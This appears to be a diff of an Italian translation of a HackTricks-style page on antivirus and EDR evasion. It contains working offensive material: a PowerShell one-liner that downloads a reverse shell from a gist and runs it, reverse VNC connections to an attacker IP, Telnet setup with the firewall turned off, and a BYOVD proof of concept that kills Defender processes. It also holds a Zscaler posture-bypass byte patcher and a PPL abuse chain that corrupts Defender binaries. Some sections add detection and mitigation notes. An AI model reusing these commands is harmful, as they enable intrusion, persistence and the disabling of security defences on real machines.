+La maggior parte dei framework C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, ecc.) fornisce già la possibilità di eseguire assembly C# direttamente in memoria, ma ci sono diversi modi per farlo:

 - **Fork\&Run**

-It involves **creare un nuovo processo sacrificabile**, iniettare il tuo codice malevolo post-exploitation in quel nuovo processo, eseguire il codice malevolo e, una volta terminato, terminare il processo. Questo ha sia vantaggi che svantaggi. Il vantaggio del metodo fork and run è che l'esecuzione avviene **al di fuori** del nostro Beacon implant process. Questo significa che se qualcosa nelle nostre azioni post-exploitation dovesse andare storto o venire rilevato, c'è una **probabilità molto più alta** che il nostro **implant sopravviva.** Lo svantaggio è che si ha una **probabilità maggiore** di essere rilevati da **Behavioural Detections**.
+Coinvolge la creazione di un nuovo processo sacrificiale, l'iniezione del tuo codice malevolo di post-exploitation in quel processo, l'esecuzione del codice e, al termine, la terminazione del processo. Questo ha vantaggi e svantaggi. Il vantaggio del metodo fork and run è che l'esecuzione avviene **fuori** dal processo del nostro Beacon implant. Questo significa che se qualcosa nella nostra azione di post-exploitation va storto o viene scoperto, c'è una **probabilità molto più alta** che il nostro **implant** sopravviva. Lo svantaggio è che hai una **probabilità maggiore** di essere rilevato dalle **Behavioural Detections**.

 <figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>

 - **Inline**

-Si tratta di iniettare il codice malevolo post-exploitation **nel suo stesso processo**. In questo modo puoi evitare di creare un nuovo processo che verrebbe scansionato dall'AV, ma lo svantaggio è che se qualcosa va storto durante l'esecuzione del payload c'è una **probabilità molto più alta** di **perdere il tuo beacon** poiché potrebbe andare in crash.
+Consiste nell'iniettare il codice malevolo di post-exploitation **nel suo stesso processo**. In questo modo puoi evitare di creare un nuovo processo e farlo scansionare dall'AV, ma lo svantaggio è che se qualcosa va storto durante l'esecuzione del tuo payload, c'è una **probabilità molto più alta** di **perdere il tuo beacon** perché potrebbe andare in crash.

 <figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>

 > [!TIP]
-> Se vuoi leggere di più sul loading di C# Assembly, dai un'occhiata a questo articolo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) e al loro InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
+> Se vuoi saperne di più sul caricamento di Assembly C#, consulta questo articolo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) e il loro InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))

-You can also load C# Assemblies **from PowerShell**, check out [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) and [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
+Puoi anche caricare Assembly C# **da PowerShell**, guarda [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) e [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).

-## Using Other Programming Languages
+## Uso di altri linguaggi di programmazione

-As proposed in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), it's possible to execute malicious code using other languages by giving the compromised machine access **to the interpreter environment installed on the Attacker Controlled SMB share**.
+Come proposto in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), è possibile eseguire codice malevolo usando altri linguaggi dando alla macchina compromessa accesso **all'ambiente interprete installato sulla SMB share controllata dall'attaccante**.

-Permettendo l'accesso ai binari dell'interprete e all'ambiente sulla condivisione SMB controllata dall'attaccante, puoi **eseguire codice arbitrario in queste lingue in memoria** della macchina compromessa.
+Consentendo l'accesso ai binari dell'interprete e all'ambiente sulla SMB share puoi **eseguire codice arbitrario in questi linguaggi nella memoria** della macchina compromessa.

-Il repo indica: Defender continua a scansionare gli script ma utilizzando Go, Java, PHP ecc. abbiamo **più flessibilità per bypassare le signature statiche**. I test con script di reverse shell non offuscati in questi linguaggi si sono rivelati efficaci.
+Il repo indica: Defender continua a scansionare gli script ma utilizzando Go, Java, PHP ecc. abbiamo **più flessibilità per bypassare le firme statiche**. Test con reverse shell casuali non offuscate in questi linguaggi si sono dimostrati efficaci.

 ## TokenStomping

-Token stomping è una tecnica che permette a un attaccante di **manipolare il token di accesso o un prodotto di sicurezza come un EDR o AV**, consentendo di ridurne i privilegi in modo che il processo non venga terminato ma non abbia i permessi per controllare attività malevole.
+Token stomping è una tecnica che permette a un attaccante di **manipolare il token di accesso o un prodotto di sicurezza come un EDR o AV**, consentendo di ridurne i privilegi in modo che il processo non muoia ma non abbia i permessi per controllare attività malevole.

 Per prevenire questo Windows potrebbe **impedire ai processi esterni** di ottenere handle sui token dei processi di sicurezza.

@ -443,76 +477,76 @@ Per prevenire questo Windows potrebbe **impedire ai processi esterni** di ottene

 ### Chrome Remote Desktop

-As described in [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), è facile semplicemente distribuire Chrome Remote Desktop sul PC della vittima e poi usarlo per prenderne il controllo e mantenere la persistenza:
-1. Download da https://remotedesktop.google.com/, clicca su "Set up via SSH", e poi clicca sul file MSI per Windows per scaricare l'MSI.
-2. Esegui l'installer silenziosamente sulla vittima (richiede privilegi admin): `msiexec /i chromeremotedesktophost.msi /qn`
-3. Torna alla pagina di Chrome Remote Desktop e clicca next. Il wizard chiederà di autorizzare; clicca il pulsante Authorize per continuare.
-4. Esegui il parametro fornito con alcuni aggiustamenti: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Nota il parametro pin che permette di impostare il pin senza usare l'interfaccia grafica).
+Come descritto in [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), è facile distribuire Chrome Remote Desktop nel PC di una vittima e poi usarlo per prenderne il controllo e mantenere la persistenza:
+1. Scarica da https://remotedesktop.google.com/, clicca su "Set up via SSH", e poi clicca sul file MSI per Windows per scaricarlo.
+2. Esegui l'installer in modalità silenziosa sulla vittima (richiede privilegi admin): `msiexec /i chromeremotedesktophost.msi /qn`
+3. Torna alla pagina di Chrome Remote Desktop e clicca Avanti. Il wizard chiederà di autorizzare; clicca il pulsante Authorize per continuare.
+4. Esegui il parametro fornito con qualche aggiustamento: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Nota il parametro pin che permette di impostare il pin senza usare la GUI).


-## Advanced Evasion
+## Evasione avanzata

-L'evasion è un argomento molto complicato, a volte bisogna tenere conto di molteplici sorgenti di telemetria in un singolo sistema, quindi è praticamente impossibile rimanere completamente non rilevati in ambienti maturi.
+L'evasione è un argomento molto complesso: a volte bisogna tenere conto di molte fonti di telemetria in un singolo sistema, quindi è praticamente impossibile restare completamente non rilevati in ambienti maturi.

-Ogni ambiente contro cui ti confronti avrà i propri punti di forza e di debolezza.
+Ogni ambiente contro cui operi avrà i suoi punti di forza e debolezza.

-Ti consiglio vivamente di guardare questo talk di [@ATTL4S](https://twitter.com/DaniLJ94), per ottenere una base sulle tecniche di Advanced Evasion.
+Ti consiglio vivamente di guardare questo talk di [@ATTL4S](https://twitter.com/DaniLJ94) per avere un'introduzione a tecniche di evasione avanzata.


 {{#ref}}
 https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
 {{#endref}}

-Questo è anche un altro ottimo talk di [@mariuszbit](https://twitter.com/mariuszbit) riguardo Evasion in Depth.
+Questo è anche un altro ottimo talk di [@mariuszbit](https://twitter.com/mariuszbit) su Evasion in Depth.


 {{#ref}}
 https://www.youtube.com/watch?v=IbA7Ung39o4
 {{#endref}}

-## **Old Techniques**
+## **Tecniche obsolete**

-### **Check which parts Defender finds as malicious**
+### **Controlla quali parti Defender considera malevoli**

-Puoi usare [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) che **rimuoverà parti del binario** finché non **scopre quale parte Defender** ritiene dannosa e te la suddividerà.\
-Un altro tool che fa **la stessa cosa è** [**avred**](https://github.com/dobin/avred) con un servizio web disponibile su [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
+Puoi usare [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) che **rimuoverà parti del binario** finché non scopre quale parte Defender considera malevola e te la segnalerà.\
+Un altro tool che fa la **stessa cosa è** [**avred**](https://github.com/dobin/avred) con un servizio web pubblico in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)

 ### **Telnet Server**

-Fino a Windows10, tutte le versioni di Windows includevano un **Telnet server** che potevi installare (come amministratore) facendo:
+Fino a Windows 10, tutte le versioni di Windows includevano un **Telnet server** che potevi installare (come amministratore) facendo:
 ```bash
 pkgmgr /iu:"TelnetServer" /quiet
 ```
-Fallo in modo che si **avvii** all'avvio del sistema e **eseguilo** ora:
+Fallo **start** all'avvio del sistema e **run** ora:
 ```bash
 sc config TlntSVR start= auto obj= localsystem
 ```
-**Cambia telnet port** (stealth) e disabilita il firewall:
+**Cambia la porta telnet** (stealth) e disabilita il firewall:
 ```
 tlntadmn config port=80
 netsh advfirewall set allprofiles state off
 ```
 ### UltraVNC

-Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (prendi i download binari, non il setup)
+Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (you want the bin downloads, not the setup)

-**ON THE HOST**: Esegui _**winvnc.exe**_ e configura il server:
+**SUL HOST**: Esegui _**winvnc.exe**_ e configura il server:

 - Abilita l'opzione _Disable TrayIcon_
 - Imposta una password in _VNC Password_
 - Imposta una password in _View-Only Password_

-Then, move the binary _**winvnc.exe**_ and **newly** created file _**UltraVNC.ini**_ inside the **victim**
+Poi, sposta il binario _**winvnc.exe**_ e il file **appena** creato _**UltraVNC.ini**_ nella **vittima**

-#### **Reverse connection**
+#### **Connessione inversa**

-The **attacker** should **execute inside** his **host** the binary `vncviewer.exe -listen 5900` so it will be **prepared** to catch a reverse **VNC connection**. Then, inside the **victim**: Start the winvnc daemon `winvnc.exe -run` and run `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
+L'**attaccante** dovrebbe **eseguire sul** suo **host** il binario `vncviewer.exe -listen 5900` in modo che sia **pronto** a catturare una **connessione VNC inversa**. Poi, nella **vittima**: avvia il demone `winvnc.exe -run` ed esegui `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`

-ATTENZIONE: Per mantenere la stealth non devi fare alcune cose
+**ATTENZIONE:** Per mantenere la furtività devi evitare alcune azioni

- Non avviare `winvnc` se è già in esecuzione o farai apparire un [popup](https://i.imgur.com/1SROTTl.png). Controlla se è in esecuzione con `tasklist | findstr winvnc`
- Non avviare `winvnc` senza `UltraVNC.ini` nella stessa directory o farà aprire [la finestra di configurazione](https://i.imgur.com/rfMQWcf.png)
- Non eseguire `winvnc -h` per l'aiuto o farai apparire un [popup](https://i.imgur.com/oc18wcu.png)
+- Non avviare `winvnc` se è già in esecuzione o attiverai un [popup](https://i.imgur.com/1SROTTl.png). Verifica se è in esecuzione con `tasklist | findstr winvnc`
+- Non avviare `winvnc` senza `UltraVNC.ini` nella stessa directory o si aprirà [la finestra di configurazione](https://i.imgur.com/rfMQWcf.png)
+- Non eseguire `winvnc -h` per l'aiuto o attiverai un [popup](https://i.imgur.com/oc18wcu.png)

 ### GreatSCT

@ -534,17 +568,17 @@ sel lport 4444
 generate #payload is the default name
 #This will generate a meterpreter xml and a rcc file for msfconsole
 ```
-Ora **avvia il lister** con `msfconsole -r file.rc` e **esegui** il **xml payload** con:
+Ora **start the lister** con `msfconsole -r file.rc` ed **esegui** il **xml payload** con:
 ```
 C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
 ```
-**L'attuale Defender terminerà il processo molto rapidamente.**
+**Il Defender corrente terminerà il processo molto rapidamente.**

 ### Compilare la nostra reverse shell

 https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

-#### Primo C# Revershell
+#### Prima C# Revershell

 Compilalo con:
 ```
@ -635,7 +669,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe RE

 [REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)

-Download ed esecuzione automatici:
+Scaricamento ed esecuzione automatica:
 ```csharp
 64bit:
 powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
@ -647,7 +681,7 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
 https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
 {{#endref}}

-Lista di obfuscatori per C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
+Elenco di obfuscators per C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)

 ### C++
 ```
@ -662,7 +696,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
 - [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
 - [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)

-### Usare python per build injectors — esempio:
+### Esempio di utilizzo di python per build injectors:

 - [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)

@ -691,30 +725,30 @@ https://github.com/TheWover/donut
 # Vulcan
 https://github.com/praetorian-code/vulcan
 ```
-### More
+### Altro

 - [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)

-## Bring Your Own Vulnerable Driver (BYOVD) – Killing AV/EDR From Kernel Space
+## Bring Your Own Vulnerable Driver (BYOVD) – Disabilitare AV/EDR dallo spazio kernel

-Storm-2603 ha sfruttato una piccola utility da console nota come **Antivirus Terminator** per disabilitare le protezioni endpoint prima di installare il ransomware. Lo strumento porta con sé il **proprio driver vulnerabile ma *signed*** e lo abusa per emettere operazioni privilegiate in kernel che neanche i servizi AV in Protected-Process-Light (PPL) possono bloccare.
+Storm-2603 ha sfruttato una piccola utility da console nota come **Antivirus Terminator** per disabilitare le protezioni endpoint prima di rilasciare ransomware. Lo strumento porta il suo **driver vulnerabile ma *signed*** e lo sfrutta per emettere operazioni privilegiate in kernel che persino i servizi AV Protected-Process-Light (PPL) non possono bloccare.

 Punti chiave
-1. **Signed driver**: Il file scritto su disco è `ServiceMouse.sys`, ma il binario è il driver legittimamente firmato `AToolsKrnl64.sys` dell’“System In-Depth Analysis Toolkit” di Antiy Labs. Poiché il driver ha una firma Microsoft valida, viene caricato anche quando Driver-Signature-Enforcement (DSE) è abilitato.
-2. Installazione del servizio:
+1. **Signed driver**: Il file scritto su disco è `ServiceMouse.sys`, ma il binario è il driver legittimamente signed `AToolsKrnl64.sys` del “System In-Depth Analysis Toolkit” di Antiy Labs. Poiché il driver reca una firma Microsoft valida, viene caricato anche quando Driver-Signature-Enforcement (DSE) è abilitato.
+2. **Service installation**:
 ```powershell
 sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
 sc start  ServiceMouse
 ```
 La prima riga registra il driver come servizio **kernel** e la seconda lo avvia in modo che `\\.\ServiceMouse` diventi accessibile dallo user land.
-3. IOCTLs esposti dal driver
-| IOCTL code | Capability                              |
+3. **IOCTLs exposed by the driver**
+| Codice IOCTL | Capacità                              |
 |-----------:|-----------------------------------------|
-| `0x99000050` | Terminare un processo arbitrario per PID (usato per killare i servizi Defender/EDR) |
-| `0x990000D0` | Eliminare un file arbitrario su disco |
+| `0x99000050` | Terminare un processo arbitrario per PID (usato per terminare i servizi Defender/EDR) |
+| `0x990000D0` | Cancellare un file arbitrario su disco |
 | `0x990001D0` | Scaricare il driver e rimuovere il servizio |

-Proof-of-concept C minimale:
+Minimal C proof-of-concept:
 ```c
 #include <windows.h>

@ -726,30 +760,30 @@ CloseHandle(hDrv);
 return 0;
 }
 ```
-4. Perché funziona: BYOVD salta completamente le protezioni in user-mode; codice che esegue in kernel può aprire processi *protetti*, terminarli o manomettere oggetti kernel indipendentemente da PPL/PP, ELAM o altre funzionalità di hardening.
+4. **Perché funziona**:  BYOVD aggira completamente le protezioni user-mode; il codice che viene eseguito in kernel può aprire processi *protected*, terminarli o manomettere oggetti kernel indipendentemente da PPL/PP, ELAM o altre funzionalità di hardening.

 Rilevamento / Mitigazione
-•  Abilitare la block list dei driver vulnerabili di Microsoft (`HVCI`, `Smart App Control`) in modo che Windows rifiuti il caricamento di `AToolsKrnl64.sys`.  
-•  Monitorare la creazione di nuovi servizi *kernel* e generare allerta quando un driver viene caricato da una directory scrivibile da tutti o non è presente nella allow-list.  
-•  Sorvegliare handle in user-mode verso device objects personalizzati seguiti da sospette chiamate a `DeviceIoControl`.
+•  Abilitare la block list dei driver vulnerabili di Microsoft (`HVCI`, `Smart App Control`) in modo che Windows rifiuti di caricare `AToolsKrnl64.sys`.  
+•  Monitorare la creazione di nuovi servizi *kernel* e generare alert quando un driver viene caricato da una directory scrivibile da tutti o non è presente nella allow-list.  
+•  Monitorare gli handle in user-mode verso oggetti device personalizzati seguiti da sospette chiamate a `DeviceIoControl`.

-### Bypassare i controlli di postura di Zscaler Client Connector tramite patching binario su disco
+### Bypass dei controlli di posture del Client Connector di Zscaler tramite patching dei binari su disco

-Zscaler’s **Client Connector** applica le regole di device-posture localmente e si affida a Windows RPC per comunicare i risultati ad altri componenti. Due scelte progettuali deboli rendono possibile un bypass completo:
+Il **Client Connector** di Zscaler applica le regole di device-posture localmente e si affida a Windows RPC per comunicare i risultati ad altri componenti. Due scelte progettuali deboli rendono possibile un bypass completo:

-1. La valutazione della posture avviene **interamente client-side** (viene inviato un booleano al server).
-2. Gli endpoint RPC interni validano solo che l’eseguibile connesso sia **signed by Zscaler** (tramite `WinVerifyTrust`).
+1. La valutazione della posture avviene **interamente lato client** (viene inviato un booleano al server).  
+2. Gli endpoint RPC interni verificano solo che l'eseguibile connesso sia **signed by Zscaler** (tramite `WinVerifyTrust`).

-Patchando quattro signed binaries su disco entrambi i meccanismi possono essere neutralizzati:
+Patchando quattro binari signed su disco entrambi i meccanismi possono essere neutralizzati:

-| Binary | Original logic patched | Result |
+| Binary | Logica originale patchata | Risultato |
 |--------|------------------------|---------|
-| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Restituisce sempre `1` quindi ogni controllo risulta conforme |
-| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ qualsiasi processo (anche non firmato) può bindare le pipe RPC |
-| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Sostituita con `mov eax,1 ; ret` |
-| `ZSATunnel.exe` | Integrity checks on the tunnel | Saltati |
+| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Restituisce sempre `1` in modo che ogni controllo risulti conforme |
+| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ qualsiasi processo (anche non firmato) può bindare alle pipe RPC |
+| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Sostituito con `mov eax,1 ; ret` |
+| `ZSATunnel.exe` | Integrity checks on the tunnel | Saltati / short-circuited |

-Estratto del patcher minimale:
+Estratto minimale del patcher:
 ```python
 pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
 replacement = bytes.fromhex("C6 84 24 80 02 00 00 01")  # force result = 1
@ -763,22 +797,22 @@ else:
 f.seek(off)
 f.write(replacement)
 ```
-Dopo aver sostituito i file originali e riavviato lo stack di servizi:
+Dopo aver sostituito i file originali e riavviato lo stack dei servizi:

-* **Tutti** i posture check mostrano **verde/conforme**.
-* I binari non firmati o modificati possono aprire i named-pipe RPC endpoints (e.g. `\\RPC Control\\ZSATrayManager_talk_to_me`).
-* L'host compromesso ottiene accesso illimitato alla rete interna definita dalle policy di Zscaler.
+* **Tutte** le posture checks mostrano **green/compliant**.
+* Binaries non firmati o modificati possono aprire gli endpoint RPC named-pipe (es. `\\RPC Control\\ZSATrayManager_talk_to_me`).
+* L'host compromesso ottiene accesso illimitato alla rete interna definita dalle policy Zscaler.

-Questo case study dimostra come decisioni di trust puramente lato client e semplici controlli di firma possano essere aggirati con poche patch di byte.
+Questo case study dimostra come decisioni di trust puramente client-side e semplici controlli di firma possano essere sconfitti con pochi byte patch.

 ## Abuso di Protected Process Light (PPL) per manomettere AV/EDR con LOLBINs

-Protected Process Light (PPL) impone una gerarchia di firmatari e livelli in modo che solo processi protetti di pari o superiore livello possano manomettersi a vicenda. In ambito offensivo, se si riesce a lanciare legittimamente un binario abilitato PPL e a controllarne gli argomenti, è possibile convertire funzionalità benigni (p.es., logging) in una constrained, PPL-backed write primitive contro le directory protette usate da AV/EDR.
+Protected Process Light (PPL) impone una gerarchia signer/level in modo che solo processi protetti di pari o superiore livello possano manomettersi a vicenda. In ambito offensivo, se puoi avviare legittimamente un binario abilitato PPL e controllarne gli argomenti, puoi convertire funzionalità benigni (e.g., logging) in una constrained, PPL-backed write primitive verso le directory protette usate da AV/EDR.

 Cosa fa sì che un processo venga eseguito come PPL
- Il target EXE (e qualsiasi DLL caricata) deve essere firmato con un EKU abilitato per PPL.
+- Il target EXE (e qualsiasi DLL caricata) deve essere firmato con un EKU compatibile con PPL.
 - Il processo deve essere creato con CreateProcess usando i flag: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
- Deve essere richiesto un livello di protezione compatibile che corrisponda al firmatario del binario (p.es., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` per firmatari anti-malware, `PROTECTION_LEVEL_WINDOWS` per i firmatari Windows). Livelli errati falliranno alla creazione.
+- Deve essere richiesto un livello di protezione compatibile che corrisponda al signer del binario (e.g., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` per anti-malware signers, `PROTECTION_LEVEL_WINDOWS` per Windows signers). Livelli sbagliati falliranno alla creazione.

 See also a broader intro to PP/PPL and LSASS protection here:

@ -787,7 +821,7 @@ stealing-credentials/credentials-protections.md
 {{#endref}}

 Launcher tooling
- Strumento open-source di supporto: CreateProcessAsPPL (seleziona il livello di protezione e inoltra gli argomenti all'EXE di destinazione):
+- Helper open-source: CreateProcessAsPPL (seleziona il livello di protezione e inoltra gli argomenti all'EXE target):
 - [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)
 - Pattern di utilizzo:
 ```text
@ -797,20 +831,20 @@ CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
 # example: spawn an anti-malware signed component at level 3
 CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
 ```
-LOLBIN primitive: ClipUp.exe
+Primitiva LOLBIN: ClipUp.exe
 - The signed system binary `C:\Windows\System32\ClipUp.exe` si auto-avvia e accetta un parametro per scrivere un file di log in un percorso specificato dal chiamante.
- Quando avviato come processo PPL, la scrittura del file avviene con il contesto PPL.
- ClipUp non riesce a interpretare percorsi contenenti spazi; usa percorsi 8.3 short per puntare a posizioni normalmente protette.
+- Quando avviato come processo PPL, la scrittura del file avviene con backing PPL.
+- ClipUp non può parsare percorsi contenenti spazi; usare nomi in formato 8.3 per puntare a posizioni normalmente protette.

 8.3 short path helpers
- List short names: `dir /x` in each parent directory.
- Derive short path in cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
+- Elencare i nomi brevi: `dir /x` in ogni directory padre.
+- Ricavare il percorso breve in cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`

 Abuse chain (abstract)
-1) Avvia il LOLBIN compatibile PPL (ClipUp) con `CREATE_PROTECTED_PROCESS` usando un launcher (e.g., CreateProcessAsPPL).
-2) Passa l'argomento log-path di ClipUp per forzare la creazione di un file in una directory AV protetta (e.g., Defender Platform). Usa nomi 8.3 se necessario.
-3) Se il binario target è normalmente aperto/bloccato dall'AV mentre è in esecuzione (e.g., MsMpEng.exe), pianifica la scrittura all'avvio prima che l'AV si avvii installando un servizio auto-start che venga eseguito prima. Valida l'ordine di boot con Process Monitor (boot logging).
-4) Al reboot la scrittura supportata da PPL avviene prima che l'AV blocchi i suoi binari, corrompendo il file target e impedendone l'avvio.
+1) Avviare la LOLBIN con supporto PPL (ClipUp) con `CREATE_PROTECTED_PROCESS` usando un launcher (es., CreateProcessAsPPL).
+2) Passare l'argomento log-path di ClipUp per forzare la creazione di un file in una directory AV protetta (es., Defender Platform). Usare nomi 8.3 se necessario.
+3) Se il binario target è normalmente aperto/bloccato dall'AV mentre è in esecuzione (es., MsMpEng.exe), pianificare la scrittura all'avvio prima che l'AV si avvii installando un servizio ad avvio automatico che venga eseguito prima in modo affidabile. Validare l'ordine di avvio con Process Monitor (registrazione all'avvio).
+4) Al riavvio la scrittura con backing PPL avviene prima che l'AV blocchi i suoi binari, corrompendo il file target e impedendone l'avvio.

 Example invocation (paths redacted/shortened for safety):
 ```text
@ -818,28 +852,28 @@ Example invocation (paths redacted/shortened for safety):
 CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
 ```
 Note e vincoli
- Non è possibile controllare i contenuti che ClipUp scrive oltre alla posizione; la primitiva è adatta alla corruzione piuttosto che all'iniezione precisa di contenuti.
- Richiede privilegi locali admin/SYSTEM per installare/avviare un servizio e una finestra di riavvio.
- Il timing è critico: il target non deve essere aperto; l'esecuzione all'avvio evita i file lock.
+- Non puoi controllare il contenuto che `ClipUp` scrive oltre alla posizione; la primitiva è adatta alla corruzione piuttosto che all'iniezione precisa di contenuto.
+- Richiede privilegi locali admin/SYSTEM per installare/avviare un servizio e una finestra di reboot.
+- Il timing è critico: il target non deve essere aperto; l'esecuzione all'avvio evita lock sui file.

 Rilevamenti
- Creazione del processo `ClipUp.exe` con argomenti insoliti, specialmente se parentato da launcher non standard, durante l'avvio.
- Nuovi servizi configurati per l'auto-avvio di binari sospetti e che si avviano consistentemente prima di Defender/AV. Indagare la creazione/modifica del servizio prima dei fallimenti di avvio di Defender.
- Monitoring dell'integrità dei file sui binari di Defender/Platform directories; creazioni/modifiche di file inaspettate da processi con flag protected-process.
- Telemetria ETW/EDR: cercare processi creati con `CREATE_PROTECTED_PROCESS` e un uso anomalo dei livelli PPL da parte di binari non-AV.
+- Creazione di processi di `ClipUp.exe` con argomenti insoliti, specialmente parentati da launcher non standard, attorno all'avvio.
+- Nuovi servizi configurati per l'auto-avvio di binari sospetti e che si avviano sistematicamente prima di Defender/AV. Indagare la creazione/modifica dei servizi prima dei fallimenti d'avvio di Defender.
+- Monitoraggio dell'integrità dei file sui binari di Defender/delle directory Platform; creazioni/modifiche di file inattese da processi con flag protected-process.
+- ETW/EDR telemetry: cercare processi creati con `CREATE_PROTECTED_PROCESS` e un uso anomalo del livello PPL da parte di binari non-AV.

 Mitigazioni
- WDAC/Code Integrity: limitare quali binari firmati possono essere eseguiti come PPL e sotto quali processi genitori; bloccare l'invocazione di ClipUp al di fuori dei contesti legittimi.
- Igiene dei servizi: limitare la creazione/modifica di servizi auto-avviati e monitorare manipolazioni dell'ordine di avvio.
- Assicurarsi che la protezione contro le manomissioni di Defender e le protezioni di avvio precoce siano abilitate; indagare errori di avvio che indicano corruzione dei binari.
- Considerare la disabilitazione della generazione di nomi brevi 8.3 sui volumi che ospitano strumenti di sicurezza se compatibile con il vostro ambiente (testare approfonditamente).
+- WDAC/Code Integrity: limitare quali binari firmati possono essere eseguiti come PPL e sotto quali parent; bloccare l'invocazione di ClipUp al di fuori dei contesti legittimi.
+- Igiene dei servizi: limitare la creazione/modifica di servizi ad avvio automatico e monitorare manipolazioni dell'ordine di avvio.
+- Assicurarsi che la protezione contro la manomissione di Defender e le protezioni di early-launch siano abilitate; indagare errori di avvio che indicano corruzione dei binari.
+- Considerare la disabilitazione della generazione di nomi brevi 8.3 sui volumi che ospitano strumenti di sicurezza, se compatibile con il vostro ambiente (test approfonditi).

 Riferimenti per PPL e tooling
- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
- EKU reference: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88
- Procmon boot logging (ordering validation): https://learn.microsoft.com/sysinternals/downloads/procmon
